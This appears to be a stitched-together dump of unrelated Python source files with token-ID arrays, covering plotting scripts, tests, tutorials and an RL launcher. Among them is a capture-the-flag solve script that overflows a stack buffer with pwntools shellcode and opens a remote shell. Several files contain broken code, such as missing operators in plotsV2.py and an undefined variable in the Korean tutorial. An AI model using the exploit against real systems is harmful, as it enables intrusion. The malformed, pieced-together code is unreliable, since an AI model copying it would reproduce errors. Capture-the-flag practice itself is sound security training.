(len(df) + 1) props = tb.properties() for (r, c), cell in compat.iteritems(props['celld']): if c == -1: cell.set_visible(False) elif r < col_nlevels and c < idx_nlevels: cell.set_visible(False) elif r < col_nlevels or c < idx_nlevels: cell.set_facecolor('#AAAAAA') cell.set_height(height) ax.set_title(title, size=self.font_size) ax.axis('off') class _WritableDoc(type): # Remove this when Python2 support is dropped # __doc__ is not mutable for new-style classes in Python2, which means # we can't use @Appender to share class docstrings. This can be used # with `add_metaclass` to make cls.__doc__ mutable. pass if __name__ == "__main__": import matplotlib.pyplot as plt p = TablePlotter() df1 = pd.DataFrame({'A': [10, 11, 12], 'B': [20, 21, 22], 'C': [30, 31, 32]}) df2 = pd.DataFrame({'A': [10, 12], 'C': [30, 32]}) p.plot([df1, df2], pd.concat([df1, df2]), labels=['df1', 'df2'], vertical=True) plt.show() df3 = pd.DataFrame({'X': [10, 12], 'Z': [30, 32]}) p.plot([df1, df3], pd.concat([df1, df3], axis=1), labels=['df1', 'df2'], vertical=False) plt.show() idx = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B'), (1, 'C'), (2, 'A'), (2, 'B'), (2, 'C')]) col = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B')]) df3 = pd.DataFrame({'v1': [1, 2, 3, 4, 5, 6], 'v2': [5, 6, 7, 8, 9, 10]}, index=idx) df3.columns = col p.plot(df3, df3, labels=['df3']) plt.show()	[ 1, 1053, 12655, 408, 7442, 13, 13, 5215, 11701, 29889, 12667, 408, 10007, 13, 13, 5215, 11701, 408, 10518, 13, 13, 13, 1990, 6137, 20867, 357, 29898, 3318, 1125, 13, 1678, 9995, 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squarespiral.py	lstoomet/peeterscript	0	31080	#!/usr/bin/env python3 import turtle t = turtle.Pen() for x in range(400): t.forward(x) t.left(90) input("press enter to exit")	[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 5215, 260, 4227, 280, 13, 29873, 353, 260, 4227, 280, 29889, 29925, 264, 580, 13, 1454, 921, 297, 3464, 29898, 29946, 29900, 29900, 1125, 13, 1678, 260, 29889, 11333, 29898, 29916, 29897, 13, 1678, 260, 29889, 1563, 29898, 29929, 29900, 29897, 13, 2080, 703, 2139, 3896, 304, 6876, 1159, 13, 2 ]
plots/plotsV2.py	hoseinkh/Distributed-Optimization-for-Coupled-Market	1	1617409	# # import seaborn as sns import pandas as pd import matplotlib.pyplot as plt # plt.interactive(False) plt.interactive(True) # # Reading from text file # # df = pd.read_csv('Results.csv') # print(df.head(10)) # sns.set_style("whitegrid") # fig1 = sns.barplot(x = 'list_k', y = 'list_T_r1_to_r2_updated', data = df) # figsave1 = fig1.get_figure() # figsave1.savefig('fig101.png', dpi=400) numSimul = len(df['list_k']) fig1, ax1 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r2_updated'] y2_data = df['optimal_Tie_line_r1_r2_centralized'] line1, = ax1.plot(x_data, y1_data, label='$T_{1-2}$') line2, = ax1.plot(x_data, y2_data,'r--', label='$T_{1-2}^{\ }$') ax1.plot(x_data, y1_data, color = 'tab:blue') ax1.plot(x_data, y2_data,'r--') ax1.set(xlabel="k", ylabel='Tieline Power Flow $T_{12}$ (MW)') ax1.set_ylim([min([min(y1_data) 0.95, min(y1_data) * 1.05]), max([max(y1_data) * 0.5, max(y1_data) * 100])]) ax1.grid() fig1.legend(handles=[line1, line2], loc=(0.765,0.6955)) fig1.savefig("fig101.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig2, ax2 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r3_updated'] y2_data = df['optimal_Tie_line_r1_r3_centralized'] line1, = ax2.plot(x_data, y1_data, label='$T_{1-3}$') line2, = ax2.plot(x_data, y2_data,'r--', label='$T_{1-3}^{\ }$') ax2.plot(x_data, y1_data, color = 'tab:blue') ax2.plot(x_data, y2_data,'r--') ax2.set(xlabel="k", ylabel='Tieline Power Flow $T_{13}$ (MW)') ax2.set_ylim([min([min(y1_data) 0.5, min(y1_data) * 1.5]), max([max(y1_data) * 0.96, max(y1_data) * 1.04])]) ax2.grid() fig2.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig2.savefig("fig102.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig3, ax3 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r2_to_r3_updated'] y2_data = df['optimal_Tie_line_r2_r3_centralized'] line1, = ax3.plot(x_data, y1_data, label='$T_{2-3}$') line2, = ax3.plot(x_data, y2_data,'r--', label='$T_{2-3}^{\ }$') ax3.set(xlabel="k", ylabel='Tieline Power Flow $T_{23}$ (MW)') ax3.set_ylim([min([min(y1_data) 0.9, min(y1_data) * 1.5]), max([max(y1_data) * 0.5, max(y1_data) * 1.04])]) ax3.grid() fig3.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig3.savefig("fig103.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # print("max of list_T_r1_to_r2_updated = {}".format(max(df['list_T_r1_to_r2_updated']))) 7 + 8	[ 1, 396, 13, 29937, 13, 5215, 409, 370, 1398, 408, 269, 1983, 13, 5215, 11701, 408, 10518, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 29937, 14770, 29889, 1639, 4925, 29898, 8824, 29897, 13, 572, 29873, 29889, 1639, 4925, 29898, 5574, 29897, 13, 29937, 13, 29937, 21439, 515, 1426, 934, 13, 29937, 13, 29937, 13, 2176, 353, 10518, 29889, 949, 29918, 7638, 877, 12191, 29889, 7638, 1495, 13, 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tests/security/test_security_multistream.py	g-r-a-n-t/py-libp2p	315	189909	<reponame>g-r-a-n-t/py-libp2p import pytest from libp2p.crypto.rsa import create_new_key_pair from libp2p.security.insecure.transport import PLAINTEXT_PROTOCOL_ID, InsecureSession from libp2p.security.noise.transport import PROTOCOL_ID as NOISE_PROTOCOL_ID from libp2p.security.secio.transport import ID as SECIO_PROTOCOL_ID from libp2p.security.secure_session import SecureSession from libp2p.tools.factories import host_pair_factory initiator_key_pair = create_new_key_pair() noninitiator_key_pair = create_new_key_pair() async def perform_simple_test(assertion_func, security_protocol): async with host_pair_factory(security_protocol=security_protocol) as hosts: conn_0 = hosts[0].get_network().connections[hosts[1].get_id()] conn_1 = hosts[1].get_network().connections[hosts[0].get_id()] # Perform assertion assertion_func(conn_0.muxed_conn.secured_conn) assertion_func(conn_1.muxed_conn.secured_conn) @pytest.mark.trio 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sample_hpc_scripts/sac.py	yjl450/spinningup-drl-prototyping	0	199274	from spinup.utils.run_utils import ExperimentGrid from spinup.algos.sac_pytorch.sac_multistep_student import sac_multistep as function_to_run ## here make sure you import correct function import time """ always first change the experiment name first change it to a name that makes sense to your experiment, and make sure you import the correct function to run you can do a quick test on your own machine before you upload to hpc \|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\| VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV """ EXPERIMENT_NAME = 'SAC' """ always change the experiment name first """ # this is where your progress files will show up, it is a relative path # relative to this python file save_data_dir = '../data' if __name__ == '__main__': import argparse start_time = time.time() parser = argparse.ArgumentParser() parser.add_argument('--cpu', type=int, default=1) parser.add_argument('--setting', type=int, default=0) args = parser.parse_args() """ if you are adding more settings, try to add them in a consistent manner in terms of order for example, first learning rate, then batch size by default, wherever you put environment, the environment name will arrive at the end of the file name. seed will not show up by default. Your other settings show up in the file name in the same order as they are in the setting_names list also make sure in the .sh file you changed the number of jobs in the array if you can't count, then simply run this program and quickly stop it on your machine it will print out how many settings there are then change that line to: #SBATCH --array=0-<number of jobs - 1> """ setting_names = ['env_name', 'seed', "use_single_variant", 'multistep_k', 'save_model'] settings = [['Ant-v2'], [0], [False], [1], [True]] whether_add_to_savename = [True, False, False, False, False] setting_savename_prefix = ['', '', 's', 'k', ''] n_setting = len(setting_names) assert_correct = (len(settings) == n_setting and len(whether_add_to_savename)==n_setting and len(setting_savename_prefix)==n_setting) if not assert_correct: print("\nASSERTION FAILED, NUMBER OF SETTINGS DON'T MATCH!!!!\n") quit() ##########################################DON'T NEED TO MODIFY####################################### ##############SIMPLY DON'T MODIFY ANYTHING AFTER THIS LINE UNLESS YOU KNOW WHAT YOU ARE DOING######## ## this block will assign a certain set of setting to a "--setting" number ## basically, maps a set of settings to a hpc job array id total = 1 for sett in settings: total *= len(sett) print("##### TOTAL NUMBER OF JOBS: %d #####" % total) if args.setting >= (total): print("setting number is larger than total number of setting, quit now") quit() def get_setting(setting_number, total, settings, setting_names): indexes = [] ## this says which hyperparameter we use remainder = setting_number for setting in settings: division = int(total / len(setting)) index = int(remainder / division) remainder = remainder % division indexes.append(index) total = division actual_setting = {} for j in range(len(indexes)): actual_setting[setting_names[j]] = settings[j][indexes[j]] return indexes, actual_setting indexes, actual_setting = get_setting(args.setting, total, settings, setting_names) eg = ExperimentGrid(name=EXPERIMENT_NAME) # use eg.add to add parameters in the settings or add parameters tha apply to all jobs # we now automated this part, as long as you added settings correctly into the arrays at the start of this program # they should be added to experiment automatically for i in range(len(actual_setting)): setting_name = setting_names[i] if setting_name != 'env_name' and setting_name != 'seed': eg.add(setting_name, actual_setting[setting_name], setting_savename_prefix[i], whether_add_to_savename[i]) eg.add('env_name', actual_setting['env_name'], '', True) eg.add('seed', actual_setting['seed']) eg.run(function_to_run, num_cpu=args.cpu, data_dir=save_data_dir) print('\n###################################### GRID EXP END ######################################') print('total time for grid experiment:',time.time()-start_time)	[ 1, 515, 10917, 786, 29889, 13239, 29889, 3389, 29918, 13239, 1053, 1222, 15362, 5756, 13, 3166, 10917, 786, 29889, 9564, 359, 29889, 29879, 562, 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GRABCONCTF 2021/PWN/pwn2/pwn2_solve.py	yl-ang/CTF	0	68441	<gh_stars>0 from pwn import * r = remote('192.168.127.12', 1337) r.recvuntil('eat some ') stack_add = int(r.recvuntil('!\n', drop = True).decode(),16) payload = b'' # shellcraft.sh() is shell code, asm() compiles your shellcode and provides its binary string payload += asm(shellcraft.sh()) # print(shellcraft.sh()) payload += (294 - len(payload)) * b'A' payload += b'B' * 8 payload += p64(stack_add) r.sendline(payload) r.interactive() # flag = GrabCON{Y0U_g0t_Sh3ll_B4asics} # reference = https://github.com/datajerk/ctf-write-ups/blob/master/sunshinectf2020/speedrun/README.md#speedrun-03	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 282, 1233, 1053, 334, 13, 13, 13, 13, 29878, 353, 7592, 877, 29896, 29929, 29906, 29889, 29896, 29953, 29947, 29889, 29896, 29906, 29955, 29889, 29896, 29906, 742, 29871, 29896, 29941, 29941, 29955, 29897, 13, 13, 29878, 29889, 3757, 29894, 29305, 877, 29872, 271, 777, 25710, 13, 13, 1429, 29918, 1202, 353, 938, 29898, 29878, 29889, 3757, 29894, 29305, 877, 9903, 29876, 742, 5768, 353, 5852, 467, 13808, 3285, 29896, 29953, 29897, 13, 29871, 13, 23813, 29871, 353, 289, 4907, 13, 29937, 6473, 17293, 29889, 845, 580, 338, 6473, 775, 29892, 408, 29885, 580, 752, 5475, 596, 6473, 401, 322, 8128, 967, 7581, 1347, 13, 23813, 4619, 408, 29885, 29898, 15903, 17293, 29889, 845, 3101, 13, 29937, 1596, 29898, 15903, 17293, 29889, 845, 3101, 13, 23813, 4619, 313, 29906, 29929, 29946, 448, 7431, 29898, 23813, 876, 334, 289, 29915, 29909, 29915, 13, 23813, 4619, 289, 29915, 29933, 29915, 334, 29871, 29947, 13, 23813, 4619, 282, 29953, 29946, 29898, 1429, 29918, 1202, 29897, 13, 13, 29878, 29889, 6717, 1220, 29898, 23813, 29897, 13, 13, 29878, 29889, 1639, 4925, 580, 13, 13, 29937, 7353, 353, 22351, 6007, 29912, 29979, 29900, 29965, 29918, 29887, 29900, 29873, 29918, 2713, 29941, 645, 29918, 29933, 29946, 294, 1199, 29913, 13, 29937, 3407, 353, 2045, 597, 3292, 29889, 510, 29914, 1272, 29926, 5968, 29914, 312, 29888, 29899, 3539, 29899, 14340, 29914, 10054, 29914, 6207, 29914, 11445, 845, 457, 312, 29888, 29906, 29900, 29906, 29900, 29914, 19322, 3389, 29914, 16310, 2303, 29889, 3487, 29937, 19322, 3389, 29899, 29900, 29941, 13, 2 ]
1.Study/2. with computer/4.Programming/2.Python/8. Python_intermediate/p_chapter04_02.py	jskim0406/Study	0	118034	# chapter 04-02 # 시퀀스 형 # 파이썬의 자료구조 형태 : 컨테이너형 / 플랫 또는 가변형 / 불변형 # 자료형 1. 컨테이너(Container) : 서로 다른 자료형을 담을 수 있음 (리스트, 튜플, collections.deque) # 컨테이너 ex) a = [3, 3.0, 'a', [1,2]] # 자료형 2. 플랫(Flat) : 한 개의 자료형을 담을 수 있음 (str, bytes, bytearray, array.array, memoryview) # 자료형 1. 가변 : 리스트, bytearray, array.array, memoryview, collections.deque) # 자료형 2. 불변 : 튜플, str, bytes # 1. 리스트 및 튜플 고급 ### 1) tuple - unpacking print(divmod(100,9)) print(divmod((100,9))) print(divmod(100,9)) # tuple unpacking x,y,z = range(10) print(x,y,z) x,y,z = 1,2 print(x,y,z) x,y,z = 1,2,3,4,5,6 print(x,y,z) print() print() ### 2) mutable vs immutable ### ex) list vs tuple => 둘 다 container지만, 가변 vs 불면 ### immutable : reassignment 불가 list_ = [1,2,3] tuple_ = (1,2,3) print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) list_ = list_2 tuple_ = tuple_2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) # list는 동일한 주소에 새로운 데이터로 재할당이 가능하지만 # tuple은 동일한 주소에 재할당이 불가능. 따라서, tuple은 새로운 공간에 새롭게 =2 결과를 할당 list_ = 2 tuple_ = 2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) print('\n') ### 3) sort vs sorted ##### reverse, key = len, key = str.lower(), key = func.. ### sorted : 정렬 후 새 객체 반환 ### sort : 정렬 in-place f_list = ['oragne', 'mango', 'papaya', 'strawberry'] print('sorted : ', sorted(f_list), '/ original : ', f_list) print('sorted : ', sorted(f_list, reverse=True), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=len), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=lambda x: x[-1]), '/ original : ', f_list) print('sort : ', f_list.sort(), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(reverse=True), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=len), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=lambda x: x[-1]), '/ original(in-place됨) : ', f_list)	[ 1, 396, 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29941, 29897, 2656, 7186, 12705, 13, 4136, 29937, 11837, 29892, 1820, 353, 7431, 29892, 1820, 353, 851, 29889, 13609, 3285, 1820, 353, 3653, 636, 13, 13, 2277, 29937, 12705, 584, 29871, 30852, 238, 163, 175, 29871, 240, 158, 135, 29871, 239, 134, 139, 29871, 237, 179, 160, 239, 181, 183, 29871, 238, 179, 155, 240, 156, 155, 13, 2277, 29937, 2656, 584, 29871, 30852, 238, 163, 175, 297, 29899, 6689, 13, 29888, 29918, 1761, 353, 6024, 272, 5889, 742, 525, 29885, 4524, 742, 525, 29886, 481, 9010, 742, 525, 303, 1610, 16344, 2033, 13, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 11837, 29922, 5574, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 1820, 29922, 2435, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 1820, 29922, 2892, 921, 29901, 921, 14352, 29896, 11724, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 3285, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 24244, 29922, 5574, 511, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 1989, 29922, 2435, 511, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 6605, 584, 13420, 285, 29918, 1761, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 14352, 29896, 11724, 8207, 2441, 29898, 262, 29899, 6689, 238, 147, 171, 29897, 584, 13420, 285, 29918, 1761, 29897, 13, 2 ]
python-objects_statements_and_data_structures-practice-master/even_in_range.py	valcal/python_practice	0	38837	<reponame>valcal/python_practice """ EVEN IN RANGE: Use range() to print all the even numbers from 0 to 10. """ for number in range(11): if number % 2 == 0: if number == 0: continue print(number)	[ 1, 529, 276, 1112, 420, 29958, 791, 1052, 29914, 4691, 29918, 29886, 1461, 625, 13, 15945, 29908, 13, 22240, 1430, 2672, 390, 24336, 29901, 4803, 3464, 580, 304, 1596, 599, 278, 1584, 3694, 515, 29871, 29900, 304, 29871, 29896, 29900, 29889, 13, 15945, 29908, 13, 13, 1454, 1353, 297, 3464, 29898, 29896, 29896, 1125, 13, 1678, 565, 1353, 1273, 29871, 29906, 1275, 29871, 29900, 29901, 13, 4706, 565, 1353, 1275, 29871, 29900, 29901, 13, 9651, 6773, 13, 4706, 1596, 29898, 4537, 29897, 13, 2 ]
tf3d/utils/projections_test.py	deepneuralmachine/google-research	23,901	44671	<reponame>deepneuralmachine/google-research # coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tf3d.utils.projections.""" import numpy as np import tensorflow as tf from tf3d.utils import projections class ProjectionsTest(tf.test.TestCase): def _get_transformation_matrices(self): # pylint: disable=bad-whitespace rotate_world_to_camera = tf.constant([ [ 2.34773703e-04, -9.99944150e-01, -1.05634779e-02], [ 1.04494076e-02, 1.05653536e-02, -9.99889553e-01], [ 9.99945402e-01, 1.24365382e-04, 1.04513029e-02] ], dtype=tf.float32) translate_world_to_camera = tf.constant([0.05705245, -0.07546672, -0.26938692], dtype=tf.float32) tr_camera_to_image = tf.constant([ [ 721.53771973, 0. , 609.55932617], [ 0. , 721.53771973, 172.85400391], [ 0. , 0. , 1. ]], dtype=tf.float32) # pylint: enable=bad-whitespace return (rotate_world_to_camera, translate_world_to_camera, tr_camera_to_image) def test_to_camera_frame(self): num_points = 1000 original_wf_points = tf.random.uniform((num_points, 3), minval=-10.0, maxval=10.0) (rotate_world_to_camera, translate_world_to_camera, _) = self._get_transformation_matrices() cf_points = projections.to_camera_frame(original_wf_points, rotate_world_to_camera, translate_world_to_camera) computed_wf_points = projections.to_world_frame(cf_points, rotate_world_to_camera, translate_world_to_camera) self.assertAllClose(original_wf_points.numpy(), computed_wf_points.numpy()) self.assertEqual(original_wf_points.shape, (num_points, 3)) self.assertEqual(cf_points.shape, (num_points, 3)) self.assertEqual(computed_wf_points.shape, (num_points, 3)) def test_to_image_frame(self): height = 375 width = 1242 cf_points = tf.convert_to_tensor([ [0.0, 0.0, 10.0], [0.0, 0.2, 12.0], [0.0, -0.2, 20.0], [1.0, 0.0, 20.0], [-1.0, 0.0, 20.0], [0, 0, -10], [-1, 1, -20]], dtype=tf.float32) _, _, camera_intrinsics = self._get_transformation_matrices() image_points, within_image = projections.to_image_frame(cf_points, height, width, camera_intrinsics) np_image_points = image_points.numpy() np_within_image = within_image.numpy() self.assertEqual(np_within_image.sum(), 5) self.assertTrue((np_image_points[np_within_image] >= 0).all()) self.assertTrue((np_image_points[np_within_image, 0] < width).all()) self.assertTrue((np_image_points[np_within_image, 1] < height).all()) def test_image_frame_to_camera_frame(self): num_points = 10 height, width = 480, 640 image_frame = tf.concat([ tf.random.uniform( [num_points, 1], minval=0.0, maxval=width, dtype=tf.float32), tf.random.uniform( [num_points, 1], minval=0.0, maxval=height, dtype=tf.float32) ], axis=1) camera_intrinsics = tf.constant( [[500, 0., 320.], [0., 500., 120.], [0., 0., 1.]], dtype=tf.float32) camera_frame = projections.image_frame_to_camera_frame( image_frame=image_frame, camera_intrinsics=camera_intrinsics) self.assertEqual(camera_frame.shape, (num_points, 3)) def _test_create_image_from_rank1_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.ones((tf.shape(pixel_locations)[0],), dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=255, use_sparse_tensor=use_sparse_tensor) self.assertAllClose(pixel_values.numpy(), np.ones((10,), dtype=np.uint8)) np_expected_image = np.full((image_height, image_width, 1), 255, np.uint8) np_yy = pixel_locations.numpy()[:, 0] np_xx = pixel_locations.numpy()[:, 1] np_expected_image[np_yy, np_xx, Ellipsis] = [1] self.assertAllClose(created_image.numpy(), np_expected_image) def _test_create_image_from_rank1_values(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((4, 10), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((4, 10), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=2) pixel_values = tf.random.uniform([4, 10, 3], minval=-2.0, maxval=2.0, dtype=tf.float32) num_valid_points = tf.constant([10, 3, 5, 7], dtype=tf.int32) created_image = projections.create_image_from_point_values( pixel_locations=pixel_locations, pixel_values=pixel_values, num_valid_points=num_valid_points, image_height=image_height, image_width=image_width, default_value=255.0, use_sparse_tensor=use_sparse_tensor) self.assertAllEqual(created_image.shape, np.array([4, 240, 320, 3])) def _test_create_image_from_rank2_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.random.uniform((10, 3), minval=0, maxval=255, dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=0, use_sparse_tensor=use_sparse_tensor) self.assertEqual(created_image.shape, (image_height, image_width, 3)) np_pixel_locations = pixel_locations.numpy().round().astype(np.int32) np_yy = np_pixel_locations[:, 0] np_xx = np_pixel_locations[:, 1] self.assertAllClose( created_image.numpy()[np_yy, np_xx], pixel_values.numpy(), atol=1e-3) def test_create_image_rank1_unbatched_sparse(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=True) def test_create_image_rank1_unbatched_scatter(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=False) def test_create_image_rank1_sparse(self): self._test_create_image_from_rank1_values(use_sparse_tensor=True) def test_create_image_rank1_scatter(self): self._test_create_image_from_rank1_values(use_sparse_tensor=False) def test_create_image_rank2_unbatched_sparse(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=True) def test_create_image_rank2_unbatched_scatter(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=False) def _test_move_image_values_to_points(self, use_sparse_tensor): image_values = tf.constant( [[[1.0, 2.0], [3.0, 4.0]], [[5.0, 6.0], [7.0, 8.0]], [[9.0, 10.0], [11.0, 12.0]]], dtype=tf.float32) image_point_indices = tf.constant([[[1], [-1]], [[6], [-1]], [[0], [3]]], dtype=tf.int32) num_points = 10 point_values = projections.move_image_values_to_points( image_values=image_values, image_point_indices=image_point_indices, num_points=num_points, default_value=-1.0, use_sparse_tensor=use_sparse_tensor) expected_point_values = tf.constant( [[9.0, 10.0], [1.0, 2.0], [-1.0, -1.0], [11.0, 12.0], [-1.0, -1.0], [-1.0, -1.0], [5.0, 6.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]], dtype=tf.float32) self.assertAllClose(point_values.numpy(), expected_point_values.numpy()) def test_move_image_values_to_points_sparse(self): self._test_move_image_values_to_points(use_sparse_tensor=True) def test_move_image_values_to_points_scatter(self): self._test_move_image_values_to_points(use_sparse_tensor=False) def test_update_pixel_locations_given_deformed_meshgrid(self): pixel_locations = tf.constant([[0, 1], [1, 1], [2, 0], [2, 2], [0, 2], [0, 1], [1, 1], [3, 3]], dtype=tf.int32) meshgrid_y = tf.constant([[1, 1, 1, 1, 1], [2, 2, 2, 2, 2], [3, 3, 3, 3, 3], [4, 4, 4, 4, 4]]) meshgrid_x = tf.constant([[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]]) meshgrid_yx = tf.stack([meshgrid_y, meshgrid_x], axis=2) deformed_meshgrid_y = tf.constant([[-1, 3, 2, 2], [-1, -1, 3, 2], [1, -1, 2, -1]]) deformed_meshgrid_x = tf.constant([[2, -2, 2, -1], [-1, 3, 2, 3], [2, -1, 3, -1]]) deformed_meshgrid_yx = tf.stack([deformed_meshgrid_y, deformed_meshgrid_x], axis=2) updated_pixel_locations = ( projections.update_pixel_locations_given_deformed_meshgrid( pixel_locations=pixel_locations, original_meshgrid=meshgrid_yx, deformed_meshgrid=deformed_meshgrid_yx)) expected_updated_pixel_locations = tf.constant([[2, 0], [0, 2], [-1, -1], [-1, -1], [-1, -1], [2, 0], [0, 2], [-1, -1]], dtype=tf.int32) self.assertAllEqual(updated_pixel_locations.numpy(), expected_updated_pixel_locations.numpy()) def test_project_points_with_depth_visibility_check(self): point_positions = tf.constant([[-1.0, -1.0, 1.0], [-1.0, 1.0, 1.0], [1.0, -1.0, 1.0], [1.0, 1.0, 1.0]], dtype=tf.float32) camera_intrinsics = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_rotation_matrix = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_translation = tf.constant([5.0, 5.0, 0.0], dtype=tf.float32) image_width = 10 image_height = 10 depth_image_00 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_01 = tf.ones([5, 5, 1], dtype=tf.float32) * 2.0 depth_image_10 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_11 = tf.ones([5, 5, 1], dtype=tf.float32) * 4.0 depth_image = tf.concat([ tf.concat([depth_image_00, depth_image_01], axis=1), tf.concat([depth_image_10, depth_image_11], axis=1) ], axis=0) depth_threshold = 0.1 (points_in_image_frame, visibility) = projections.project_points_with_depth_visibility_check( point_positions=point_positions, camera_intrinsics=camera_intrinsics, camera_rotation_matrix=camera_rotation_matrix, camera_translation=camera_translation, image_width=image_width, image_height=image_height, depth_image=depth_image, depth_intrinsics=camera_intrinsics, depth_threshold=depth_threshold) self.assertAllEqual( visibility.numpy().astype(np.int32), np.array([1, 1, 0, 0])) self.assertAllEqual(points_in_image_frame.numpy(), np.array([[4, 4], [4, 6], [6, 4], [6, 6]])) if __name__ == '__main__': tf.test.main()	[ 1, 529, 276, 1112, 420, 29958, 24535, 484, 3631, 23523, 29914, 3608, 29899, 690, 2842, 13, 29937, 14137, 29922, 9420, 29899, 29947, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29896, 450, 5087, 10550, 13189, 943, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 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py/sam3x8e/tester.py	segrids/arduino_due	3	146028	<reponame>segrids/arduino_due<filename>py/sam3x8e/tester.py """ MIT License Copyright (c) 2021 by <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or 